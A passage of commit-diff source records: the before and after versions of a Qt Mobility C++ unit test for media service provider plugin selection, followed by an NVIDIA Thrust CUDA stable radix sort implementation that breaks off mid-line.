QMediaServiceSupportedFormatsInterface\n{\n Q_OBJECT\n Q_INTERFACES(QMediaServiceSupportedFormatsInterface)\npublic:\n QStringList keys() const\n {\n return QStringList() << QLatin1String(Q_MEDIASERVICE_MEDIAPLAYER);\n }\n\n QMediaService* create(QString const& key)\n {\n if (keys().contains(key))\n return new MockMediaService(\"MockServicePlugin2\");\n else\n return 0;\n }\n\n void release(QMediaService *service)\n {\n delete service;\n }\n\n QtMedia::SupportEstimate hasSupport(const QString &mimeType, const QStringList& codecs) const\n {\n Q_UNUSED(codecs);\n\n if (mimeType == \"audio\/wav\")\n return QtMedia::PreferedService; \n\n return QtMedia::NotSupported;\n }\n};\n\n\nclass MockServicePlugin3 : public QMediaServiceProviderPlugin,\n public QMediaServiceSupportedDevicesInterface\n{\n Q_OBJECT\n Q_INTERFACES(QMediaServiceSupportedDevicesInterface)\npublic:\n QStringList keys() const\n {\n return QStringList() <<\n QLatin1String(Q_MEDIASERVICE_MEDIAPLAYER) <<\n QLatin1String(Q_MEDIASERVICE_CAMERA) <<\n QLatin1String(Q_MEDIASERVICE_AUDIOSOURCE);\n }\n\n QMediaService* create(QString const& key)\n {\n if (keys().contains(key))\n return new MockMediaService(\"MockServicePlugin3\");\n else\n return 0;\n }\n\n void release(QMediaService *service)\n {\n delete service;\n }\n\n QList<QByteArray> devices(const QByteArray &service) const\n {\n QList<QByteArray> res;\n if (service == QByteArray(Q_MEDIASERVICE_CAMERA))\n res << \"camera3\" << \"camera4\";\n else if (service == QByteArray(Q_MEDIASERVICE_AUDIOSOURCE))\n res << \"audiosource1\" << \"audiosource2\";\n\n return res;\n }\n\n QString deviceDescription(const QByteArray &service, const QByteArray &device)\n {\n if (devices(service).contains(device))\n return QString(device)+\" description\";\n else\n return QString();\n }\n};\n\n\n\nclass MockMediaServiceProvider : public QMediaServiceProvider\n{\n QMediaService* requestService(const QByteArray &type, const QMediaServiceProviderHint &)\n {\n Q_UNUSED(type);\n return 0;\n }\n\n void releaseService(QMediaService *service)\n {\n Q_UNUSED(service);\n }\n};\n\n\nclass tst_QMediaServiceProvider : public QObject\n{\n Q_OBJECT\n\npublic slots:\n void initTestCase();\n\nprivate slots: \n void testDefaultProviderAvailable();\n void testObtainService();\n void testHasSupport();\n void testDevices();\n void testProviderHints();\n\nprivate:\n QObjectList plugins;\n};\n\nvoid tst_QMediaServiceProvider::initTestCase()\n{\n plugins << new MockServicePlugin1;\n plugins << new MockServicePlugin2;\n plugins << new MockServicePlugin3;\n\n QMediaPluginLoader::setStaticPlugins(QLatin1String(\"\/mediaservice\"), plugins);\n}\n\nvoid tst_QMediaServiceProvider::testDefaultProviderAvailable()\n{\n \/\/ Must always be a default provider available \n QVERIFY(QMediaServiceProvider::defaultServiceProvider() != 0);\n}\n\nvoid tst_QMediaServiceProvider::testObtainService()\n{\n QMediaServiceProvider *provider = QMediaServiceProvider::defaultServiceProvider();\n\n if (provider == 0)\n QSKIP(\"No default provider\", SkipSingle);\n\n QMediaService *service = 0;\n\n QTest::ignoreMessage(QtWarningMsg, \"Load static plugins for \\\"\/mediaservice\/\\\" \");\n \/\/ Player\n service = provider->requestService(Q_MEDIASERVICE_MEDIAPLAYER);\n QVERIFY(service != 0);\n provider->releaseService(service);\n}\n\nvoid tst_QMediaServiceProvider::testHasSupport()\n{\n MockMediaServiceProvider mockProvider;\n QCOMPARE(mockProvider.hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"video\/ogv\", QStringList()),\n QtMedia::MaybeSupported);\n\n QMediaServiceProvider *provider = QMediaServiceProvider::defaultServiceProvider();\n\n if (provider == 0)\n QSKIP(\"No default provider\", SkipSingle);\n\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"video\/ogv\", QStringList()),\n QtMedia::MaybeSupported);\n\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"audio\/ogg\", QStringList()),\n QtMedia::ProbablySupported);\n\n \/\/while the service returns PreferredService, provider should return ProbablySupported\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"audio\/wav\", QStringList()),\n QtMedia::ProbablySupported);\n\n \/\/even while all the plugins with \"hasSupport\" returned NotSupported,\n \/\/MockServicePlugin3 has no \"hasSupport\" interface, so MaybeSupported\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"video\/avi\",\n QStringList() << \"mpeg4\"),\n QtMedia::MaybeSupported);\n\n QCOMPARE(provider->hasSupport(QByteArray(\"non existing service\"), \"video\/ogv\", QStringList()),\n QtMedia::NotSupported);\n\n QCOMPARE(QMediaPlayer::hasSupport(\"video\/ogv\"), QtMedia::MaybeSupported); \n QCOMPARE(QMediaPlayer::hasSupport(\"audio\/ogg\"), QtMedia::ProbablySupported);\n QCOMPARE(QMediaPlayer::hasSupport(\"audio\/wav\"), QtMedia::ProbablySupported);\n}\n\nvoid tst_QMediaServiceProvider::testDevices()\n{\n MockMediaServiceProvider mockProvider;\n QVERIFY(mockProvider.devices(QByteArray(Q_MEDIASERVICE_CAMERA)).isEmpty());\n QVERIFY(mockProvider.deviceDescription(QByteArray(Q_MEDIASERVICE_CAMERA),\n QByteArray()).isEmpty());\n\n QMediaServiceProvider *provider = QMediaServiceProvider::defaultServiceProvider();\n\n QVERIFY(!provider->devices(QByteArray(Q_MEDIASERVICE_CAMERA)).isEmpty());\n\n QVERIFY(provider->devices(QByteArray(\"non existing service\")).isEmpty());\n}\n\n\nvoid tst_QMediaServiceProvider::testProviderHints()\n{\n {\n QMediaServiceProviderHint hint;\n QVERIFY(hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::Null);\n QVERIFY(hint.device().isEmpty());\n QVERIFY(hint.mimeType().isEmpty());\n QVERIFY(hint.codecs().isEmpty());\n QCOMPARE(hint.features(), 0);\n }\n\n {\n QByteArray deviceName(QByteArray(\"testDevice\"));\n QMediaServiceProviderHint hint(deviceName);\n QVERIFY(!hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::Device);\n QCOMPARE(hint.device(), deviceName);\n QVERIFY(hint.mimeType().isEmpty());\n QVERIFY(hint.codecs().isEmpty());\n QCOMPARE(hint.features(), 0);\n }\n\n {\n QMediaServiceProviderHint hint(QMediaServiceProviderHint::LowLatencyPlayback);\n QVERIFY(!hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::SupportedFeatures);\n QVERIFY(hint.device().isEmpty());\n QVERIFY(hint.mimeType().isEmpty());\n QVERIFY(hint.codecs().isEmpty());\n QCOMPARE(hint.features(), QMediaServiceProviderHint::LowLatencyPlayback);\n }\n\n {\n QString mimeType(QLatin1String(\"video\/ogg\"));\n QStringList codecs;\n codecs << \"theora\" << \"vorbis\";\n\n QMediaServiceProviderHint hint(mimeType,codecs);\n QVERIFY(!hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::ContentType);\n QVERIFY(hint.device().isEmpty());\n QCOMPARE(hint.mimeType(), mimeType);\n QCOMPARE(hint.codecs(), codecs);\n\n QMediaServiceProviderHint hint2(hint);\n\n QVERIFY(!hint2.isNull());\n QCOMPARE(hint2.type(), QMediaServiceProviderHint::ContentType);\n QVERIFY(hint2.device().isEmpty());\n QCOMPARE(hint2.mimeType(), mimeType);\n QCOMPARE(hint2.codecs(), codecs);\n\n QMediaServiceProviderHint hint3;\n QVERIFY(hint3.isNull());\n hint3 = hint;\n QVERIFY(!hint3.isNull());\n QCOMPARE(hint3.type(), QMediaServiceProviderHint::ContentType);\n QVERIFY(hint3.device().isEmpty());\n QCOMPARE(hint3.mimeType(), mimeType);\n QCOMPARE(hint3.codecs(), codecs);\n\n QCOMPARE(hint, hint2);\n QCOMPARE(hint3, hint2);\n\n QMediaServiceProviderHint hint4(mimeType,codecs);\n QCOMPARE(hint, hint4);\n\n QMediaServiceProviderHint hint5(mimeType,QStringList());\n QVERIFY(hint != hint5);\n }\n}\n\nQTEST_MAIN(tst_QMediaServiceProvider)\n\n#include \"tst_qmediaserviceprovider.moc\"\n<commit_msg>Added tests for camera service selection by device name and player by supported low latency playback feature.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include <QtTest\/QtTest>\n#include <QDebug>\n\n#include <multimedia\/qmediaserviceprovider.h>\n#include <multimedia\/qmediaserviceproviderplugin.h>\n#include <multimedia\/qmediapluginloader_p.h>\n#include <multimedia\/qmediaobject.h>\n#include <multimedia\/qmediaservice.h>\n#include <multimedia\/qmediaplayer.h>\n#include <multimedia\/experimental\/qcamera.h>\n#include <multimedia\/qaudiocapturesource.h>\n\nclass MockMediaService : public QMediaService\n{\n Q_OBJECT\npublic:\n MockMediaService(const QString& name, QObject *parent = 0) : QMediaService(parent)\n { setObjectName(name); }\n ~MockMediaService() {}\n\n QMediaControl* control(const char *) const {return 0;}\n};\n\nclass MockServicePlugin1 : public QMediaServiceProviderPlugin,\n public QMediaServiceSupportedFormatsInterface,\n public QMediaServiceSupportedDevicesInterface\n{\n Q_OBJECT\n Q_INTERFACES(QMediaServiceSupportedFormatsInterface)\n Q_INTERFACES(QMediaServiceSupportedDevicesInterface)\npublic:\n QStringList keys() const\n {\n return QStringList() <<\n QLatin1String(Q_MEDIASERVICE_MEDIAPLAYER) <<\n QLatin1String(Q_MEDIASERVICE_CAMERA);\n }\n\n QMediaService* create(QString const& key)\n {\n if (keys().contains(key))\n return new MockMediaService(\"MockServicePlugin1\");\n else\n return 0;\n }\n\n void release(QMediaService *service)\n {\n delete service;\n }\n\n QtMedia::SupportEstimate hasSupport(const QString &mimeType, const QStringList& codecs) const\n { \n if (codecs.contains(QLatin1String(\"mpeg4\")))\n return QtMedia::NotSupported;\n\n if (mimeType == \"audio\/ogg\") { \n return QtMedia::ProbablySupported;\n }\n\n return QtMedia::MaybeSupported;\n }\n\n QList<QByteArray> devices(const QByteArray &service) const\n {\n QList<QByteArray> res;\n if (service == QByteArray(Q_MEDIASERVICE_CAMERA))\n res << \"camera1\" << \"camera2\"; \n return res;\n }\n\n QString deviceDescription(const QByteArray &service, const QByteArray &device)\n {\n if (devices(service).contains(device))\n return QString(device)+\" description\";\n else\n return QString();\n }\n};\n\nclass MockServicePlugin2 : public QMediaServiceProviderPlugin,\n public QMediaServiceSupportedFormatsInterface,\n public QMediaServiceFeaturesInterface\n{\n Q_OBJECT\n Q_INTERFACES(QMediaServiceSupportedFormatsInterface)\n Q_INTERFACES(QMediaServiceFeaturesInterface)\npublic:\n QStringList keys() const\n {\n return QStringList() << QLatin1String(Q_MEDIASERVICE_MEDIAPLAYER);\n }\n\n QMediaService* create(QString const& key)\n {\n if (keys().contains(key))\n return new MockMediaService(\"MockServicePlugin2\");\n else\n return 0;\n }\n\n void release(QMediaService *service)\n {\n delete service;\n }\n\n QtMedia::SupportEstimate hasSupport(const QString &mimeType, const QStringList& codecs) const\n {\n Q_UNUSED(codecs);\n\n if (mimeType == \"audio\/wav\")\n return QtMedia::PreferedService; \n\n return QtMedia::NotSupported;\n }\n\n QMediaServiceProviderHint::Features supportedFeatures(const QByteArray &service) const\n {\n if (service == QByteArray(Q_MEDIASERVICE_MEDIAPLAYER))\n return QMediaServiceProviderHint::LowLatencyPlayback;\n else\n return 0;\n }\n};\n\n\nclass MockServicePlugin3 : public QMediaServiceProviderPlugin,\n public QMediaServiceSupportedDevicesInterface\n{\n Q_OBJECT\n Q_INTERFACES(QMediaServiceSupportedDevicesInterface)\npublic:\n QStringList keys() const\n {\n return QStringList() <<\n QLatin1String(Q_MEDIASERVICE_MEDIAPLAYER) <<\n QLatin1String(Q_MEDIASERVICE_CAMERA) <<\n QLatin1String(Q_MEDIASERVICE_AUDIOSOURCE);\n }\n\n QMediaService* create(QString const& key)\n {\n if (keys().contains(key))\n return new MockMediaService(\"MockServicePlugin3\");\n else\n return 0;\n }\n\n void release(QMediaService *service)\n {\n delete service;\n }\n\n QList<QByteArray> devices(const QByteArray &service) const\n {\n QList<QByteArray> res;\n if (service == QByteArray(Q_MEDIASERVICE_CAMERA))\n res << \"camera3\" << \"camera4\";\n else if (service == QByteArray(Q_MEDIASERVICE_AUDIOSOURCE))\n res << \"audiosource1\" << \"audiosource2\";\n\n return res;\n }\n\n QString deviceDescription(const QByteArray &service, const QByteArray &device)\n {\n if (devices(service).contains(device))\n return QString(device)+\" description\";\n else\n return QString();\n }\n};\n\n\n\nclass MockMediaServiceProvider : public QMediaServiceProvider\n{\n QMediaService* requestService(const QByteArray &type, const QMediaServiceProviderHint &)\n {\n Q_UNUSED(type);\n return 0;\n }\n\n void releaseService(QMediaService *service)\n {\n Q_UNUSED(service);\n }\n};\n\n\nclass tst_QMediaServiceProvider : public QObject\n{\n Q_OBJECT\n\npublic slots:\n void initTestCase();\n\nprivate slots: \n void testDefaultProviderAvailable();\n void testObtainService();\n void testHasSupport();\n void testDevices();\n void testProviderHints();\n\nprivate:\n QObjectList plugins;\n};\n\nvoid tst_QMediaServiceProvider::initTestCase()\n{\n plugins << new MockServicePlugin1;\n plugins << new MockServicePlugin2;\n plugins << new MockServicePlugin3;\n\n QMediaPluginLoader::setStaticPlugins(QLatin1String(\"\/mediaservice\"), plugins);\n}\n\nvoid tst_QMediaServiceProvider::testDefaultProviderAvailable()\n{\n \/\/ Must always be a default provider available \n QVERIFY(QMediaServiceProvider::defaultServiceProvider() != 0);\n}\n\nvoid tst_QMediaServiceProvider::testObtainService()\n{\n QMediaServiceProvider *provider = QMediaServiceProvider::defaultServiceProvider();\n\n if (provider == 0)\n QSKIP(\"No default provider\", SkipSingle);\n\n QMediaService *service = 0;\n\n QTest::ignoreMessage(QtWarningMsg, \"Load static plugins for \\\"\/mediaservice\/\\\" \");\n \/\/ Player\n service = provider->requestService(Q_MEDIASERVICE_MEDIAPLAYER);\n QVERIFY(service != 0);\n provider->releaseService(service);\n}\n\nvoid tst_QMediaServiceProvider::testHasSupport()\n{\n MockMediaServiceProvider mockProvider;\n QCOMPARE(mockProvider.hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"video\/ogv\", QStringList()),\n QtMedia::MaybeSupported);\n\n QMediaServiceProvider *provider = QMediaServiceProvider::defaultServiceProvider();\n\n if (provider == 0)\n QSKIP(\"No default provider\", SkipSingle);\n\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"video\/ogv\", QStringList()),\n QtMedia::MaybeSupported);\n\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"audio\/ogg\", QStringList()),\n QtMedia::ProbablySupported);\n\n \/\/while the service returns PreferredService, provider should return ProbablySupported\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"audio\/wav\", QStringList()),\n QtMedia::ProbablySupported);\n\n \/\/even while all the plugins with \"hasSupport\" returned NotSupported,\n \/\/MockServicePlugin3 has no \"hasSupport\" interface, so MaybeSupported\n QCOMPARE(provider->hasSupport(QByteArray(Q_MEDIASERVICE_MEDIAPLAYER), \"video\/avi\",\n QStringList() << \"mpeg4\"),\n QtMedia::MaybeSupported);\n\n QCOMPARE(provider->hasSupport(QByteArray(\"non existing service\"), \"video\/ogv\", QStringList()),\n QtMedia::NotSupported);\n\n QCOMPARE(QMediaPlayer::hasSupport(\"video\/ogv\"), QtMedia::MaybeSupported); \n QCOMPARE(QMediaPlayer::hasSupport(\"audio\/ogg\"), QtMedia::ProbablySupported);\n QCOMPARE(QMediaPlayer::hasSupport(\"audio\/wav\"), QtMedia::ProbablySupported);\n\n \/\/ensure the correct media player plugin is choosen for mime type\n QMediaPlayer simplePlayer(0, QMediaPlayer::LowLatency);\n QCOMPARE(simplePlayer.service()->objectName(), QLatin1String(\"MockServicePlugin2\"));\n\n QMediaPlayer mediaPlayer;\n QVERIFY(mediaPlayer.service()->objectName() != QLatin1String(\"MockServicePlugin2\"));\n}\n\nvoid tst_QMediaServiceProvider::testDevices()\n{\n MockMediaServiceProvider mockProvider;\n QVERIFY(mockProvider.devices(QByteArray(Q_MEDIASERVICE_CAMERA)).isEmpty());\n QVERIFY(mockProvider.deviceDescription(QByteArray(Q_MEDIASERVICE_CAMERA),\n QByteArray()).isEmpty());\n\n QMediaServiceProvider *provider = QMediaServiceProvider::defaultServiceProvider();\n\n QList<QByteArray> cameraDevices = provider->devices(QByteArray(Q_MEDIASERVICE_CAMERA));\n QCOMPARE(cameraDevices.count(), 4);\n QVERIFY(cameraDevices.contains(QByteArray(\"camera1\")));\n QVERIFY(cameraDevices.contains(QByteArray(\"camera2\")));\n QVERIFY(cameraDevices.contains(QByteArray(\"camera3\")));\n QVERIFY(cameraDevices.contains(QByteArray(\"camera4\")));\n\n \/\/ensure the right plugin is choosen for a device\n QCamera camera1(QByteArray(\"camera1\"));\n QCOMPARE( camera1.service()->objectName(), QLatin1String(\"MockServicePlugin1\") );\n QCamera camera2(QByteArray(\"camera2\"));\n QCOMPARE( camera2.service()->objectName(), QLatin1String(\"MockServicePlugin1\") );\n QCamera camera3(QByteArray(\"camera3\"));\n QCOMPARE( camera3.service()->objectName(), QLatin1String(\"MockServicePlugin3\") );\n QCamera camera4(QByteArray(\"camera4\"));\n QCOMPARE( camera4.service()->objectName(), QLatin1String(\"MockServicePlugin3\") );\n\n QList<QByteArray> audioSourceDevices = provider->devices(QByteArray(Q_MEDIASERVICE_AUDIOSOURCE));\n QCOMPARE(audioSourceDevices.count(), 2);\n QVERIFY(audioSourceDevices.contains(QByteArray(\"audiosource1\")));\n QVERIFY(audioSourceDevices.contains(QByteArray(\"audiosource2\")));\n\n QVERIFY(provider->devices(QByteArray(\"non existing service\")).isEmpty());\n}\n\n\n\n\nvoid tst_QMediaServiceProvider::testProviderHints()\n{\n {\n QMediaServiceProviderHint hint;\n QVERIFY(hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::Null);\n QVERIFY(hint.device().isEmpty());\n QVERIFY(hint.mimeType().isEmpty());\n QVERIFY(hint.codecs().isEmpty());\n QCOMPARE(hint.features(), 0);\n }\n\n {\n QByteArray deviceName(QByteArray(\"testDevice\"));\n QMediaServiceProviderHint hint(deviceName);\n QVERIFY(!hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::Device);\n QCOMPARE(hint.device(), deviceName);\n QVERIFY(hint.mimeType().isEmpty());\n QVERIFY(hint.codecs().isEmpty());\n QCOMPARE(hint.features(), 0);\n }\n\n {\n QMediaServiceProviderHint hint(QMediaServiceProviderHint::LowLatencyPlayback);\n QVERIFY(!hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::SupportedFeatures);\n QVERIFY(hint.device().isEmpty());\n QVERIFY(hint.mimeType().isEmpty());\n QVERIFY(hint.codecs().isEmpty());\n QCOMPARE(hint.features(), QMediaServiceProviderHint::LowLatencyPlayback);\n }\n\n {\n QString mimeType(QLatin1String(\"video\/ogg\"));\n QStringList codecs;\n codecs << \"theora\" << \"vorbis\";\n\n QMediaServiceProviderHint hint(mimeType,codecs);\n QVERIFY(!hint.isNull());\n QCOMPARE(hint.type(), QMediaServiceProviderHint::ContentType);\n QVERIFY(hint.device().isEmpty());\n QCOMPARE(hint.mimeType(), mimeType);\n QCOMPARE(hint.codecs(), codecs);\n\n QMediaServiceProviderHint hint2(hint);\n\n QVERIFY(!hint2.isNull());\n QCOMPARE(hint2.type(), QMediaServiceProviderHint::ContentType);\n QVERIFY(hint2.device().isEmpty());\n QCOMPARE(hint2.mimeType(), mimeType);\n QCOMPARE(hint2.codecs(), codecs);\n\n QMediaServiceProviderHint hint3;\n QVERIFY(hint3.isNull());\n hint3 = hint;\n QVERIFY(!hint3.isNull());\n QCOMPARE(hint3.type(), QMediaServiceProviderHint::ContentType);\n QVERIFY(hint3.device().isEmpty());\n QCOMPARE(hint3.mimeType(), mimeType);\n QCOMPARE(hint3.codecs(), codecs);\n\n QCOMPARE(hint, hint2);\n QCOMPARE(hint3, hint2);\n\n QMediaServiceProviderHint hint4(mimeType,codecs);\n QCOMPARE(hint, hint4);\n\n QMediaServiceProviderHint hint5(mimeType,QStringList());\n QVERIFY(hint != hint5);\n }\n}\n\nQTEST_MAIN(tst_QMediaServiceProvider)\n\n#include \"tst_qmediaserviceprovider.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2008-2010 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <thrust\/copy.h>\n#include <thrust\/gather.h>\n#include <thrust\/sequence.h>\n#include <thrust\/iterator\/iterator_traits.h>\n\n#include <thrust\/detail\/raw_buffer.h>\n#include <thrust\/detail\/type_traits.h>\n#include <thrust\/detail\/util\/align.h>\n\n#include <thrust\/detail\/device\/cuda\/detail\/b40c\/radixsort_api.h>\n\nnamespace thrust\n{\nnamespace detail\n{\nnamespace device\n{\nnamespace cuda\n{\nnamespace detail\n{\n\ntemplate<typename RandomAccessIterator>\nvoid stable_radix_sort(RandomAccessIterator first,\n RandomAccessIterator last)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator>::type K;\n \n unsigned int num_elements = last - first;\n\n \/\/ ensure data is properly aligned\n if (!thrust::detail::util::is_aligned(thrust::raw_pointer_cast(&*first), 2*sizeof(K)))\n {\n thrust::detail::raw_cuda_device_buffer<K> aligned_keys(first, last);\n stable_radix_sort(aligned_keys.begin(), aligned_keys.end());\n thrust::copy(aligned_keys.begin(), aligned_keys.end(), first);\n return;\n }\n \n b40c::RadixSortingEnactor<K> sorter(num_elements);\n b40c::RadixSortStorage<K> storage;\n \n \/\/ allocate temporary buffers\n thrust::detail::raw_cuda_device_buffer<K> temp_keys(num_elements);\n thrust::detail::raw_cuda_device_buffer<unsigned int> temp_spine(sorter.SpineElements());\n thrust::detail::raw_cuda_device_buffer<bool> temp_from_alt(2);\n\n \/\/ define storage\n storage.d_keys = thrust::raw_pointer_cast(&*first);\n storage.d_alt_keys = thrust::raw_pointer_cast(&temp_keys[0]);\n storage.d_spine = thrust::raw_pointer_cast(&temp_spine[0]);\n storage.d_from_alt_storage = thrust::raw_pointer_cast(&temp_from_alt[0]);\n\n \/\/ perform the sort\n sorter.EnactSort(storage);\n \n \/\/ radix sort sometimes leaves results in the alternate buffers\n if (storage.using_alternate_storage)\n {\n thrust::copy(temp_keys.begin(), temp_keys.end(), first);\n }\n\n \/\/ temporary storage automatically freed\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Key-Value Sorting \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ sort values directly\ntemplate<typename RandomAccessIterator1,\n typename RandomAccessIterator2>\nvoid stable_radix_sort_by_key(RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n thrust::detail::true_type)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator1>::type K;\n typedef typename thrust::iterator_value<RandomAccessIterator2>::type V;\n \n unsigned int num_elements = last1 - first1;\n\n \/\/ ensure data is properly aligned\n if (!thrust::detail::util::is_aligned(thrust::raw_pointer_cast(&*first1), 2*sizeof(K)))\n {\n thrust::detail::raw_cuda_device_buffer<K> aligned_keys(first1, last1);\n stable_radix_sort_by_key(aligned_keys.begin(), aligned_keys.end(), first2);\n thrust::copy(aligned_keys.begin(), aligned_keys.end(), first1);\n return;\n }\n if (!thrust::detail::util::is_aligned(thrust::raw_pointer_cast(&*first2), 2*sizeof(V)))\n {\n thrust::detail::raw_cuda_device_buffer<V> aligned_values(first2, first2 + num_elements);\n stable_radix_sort_by_key(first1, last1, aligned_values.begin());\n thrust::copy(aligned_values.begin(), aligned_values.end(), first2);\n return;\n }\n \n b40c::RadixSortingEnactor<K,V> sorter(num_elements);\n b40c::RadixSortStorage<K,V> storage;\n \n \/\/ allocate temporary buffers\n thrust::detail::raw_cuda_device_buffer<K> temp_keys(num_elements);\n thrust::detail::raw_cuda_device_buffer<V> temp_values(num_elements);\n thrust::detail::raw_cuda_device_buffer<unsigned int> temp_spine(sorter.SpineElements());\n thrust::detail::raw_cuda_device_buffer<bool> temp_from_alt(2);\n\n \/\/ define storage\n storage.d_keys = thrust::raw_pointer_cast(&*first1);\n storage.d_values = thrust::raw_pointer_cast(&*first2);\n storage.d_alt_keys = thrust::raw_pointer_cast(&temp_keys[0]);\n storage.d_alt_values = thrust::raw_pointer_cast(&temp_values[0]);\n storage.d_spine = thrust::raw_pointer_cast(&temp_spine[0]);\n storage.d_from_alt_storage = thrust::raw_pointer_cast(&temp_from_alt[0]);\n\n \/\/ perform the sort\n sorter.EnactSort(storage);\n \n \/\/ radix sort sometimes leaves results in the alternate buffers\n if (storage.using_alternate_storage)\n {\n thrust::copy( temp_keys.begin(), temp_keys.end(), first1);\n thrust::copy(temp_values.begin(), temp_values.end(), first2);\n }\n \n \/\/ temporary storage automatically freed\n}\n\n\n\/\/ sort values indirectly\ntemplate<typename RandomAccessIterator1,\n typename RandomAccessIterator2>\nvoid stable_radix_sort_by_key(RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n thrust::detail::false_type)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator2>::type V;\n \n unsigned int num_elements = last1 - first1;\n\n \/\/ sort with integer values and then permute the real values accordingly\n thrust::detail::raw_cuda_device_buffer<unsigned int> permutation(num_elements);\n thrust::sequence(permutation.begin(), permutation.end());\n\n stable_radix_sort_by_key(first1, last1, permutation.begin());\n \n \/\/ copy values into temp vector and then permute\n thrust::detail::raw_cuda_device_buffer<V> temp_values(first2, first2 + num_elements);\n \n \/\/ permute values\n thrust::gather(permutation.begin(), permutation.end(),\n temp_values.begin(),\n first2);\n}\n\n\ntemplate<typename RandomAccessIterator1,\n typename RandomAccessIterator2>\nvoid stable_radix_sort_by_key(RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator2>::type V;\n\n \/\/ decide how to handle values\n static const bool sort_values_directly = thrust::detail::is_trivial_iterator<RandomAccessIterator2>::value &&\n thrust::detail::is_arithmetic<V>::value &&\n sizeof(V) <= 8; \/\/ TODO profile this\n\n \/\/ XXX WAR nvcc 3.0 unused variable warning\n (void) sort_values_directly;\n\n stable_radix_sort_by_key(first1, last1, first2, \n thrust::detail::integral_constant<bool, sort_values_directly>());\n}\n\n} \/\/ end namespace detail\n} \/\/ end namespace cuda\n} \/\/ end namespace device\n} \/\/ end namespace detail\n} \/\/ end namespace thrust\n\n<commit_msg>access b40c namespace via full path<commit_after>\/*\n * Copyright 2008-2010 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <thrust\/copy.h>\n#include <thrust\/gather.h>\n#include <thrust\/sequence.h>\n#include <thrust\/iterator\/iterator_traits.h>\n\n#include <thrust\/detail\/raw_buffer.h>\n#include <thrust\/detail\/type_traits.h>\n#include <thrust\/detail\/util\/align.h>\n\n#include <thrust\/detail\/device\/cuda\/detail\/b40c\/radixsort_api.h>\n\nnamespace thrust\n{\nnamespace detail\n{\nnamespace device\n{\nnamespace cuda\n{\nnamespace detail\n{\n\ntemplate<typename RandomAccessIterator>\nvoid stable_radix_sort(RandomAccessIterator first,\n RandomAccessIterator last)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator>::type K;\n \n unsigned int num_elements = last - first;\n\n \/\/ ensure data is properly aligned\n if (!thrust::detail::util::is_aligned(thrust::raw_pointer_cast(&*first), 2*sizeof(K)))\n {\n thrust::detail::raw_cuda_device_buffer<K> aligned_keys(first, last);\n stable_radix_sort(aligned_keys.begin(), aligned_keys.end());\n thrust::copy(aligned_keys.begin(), 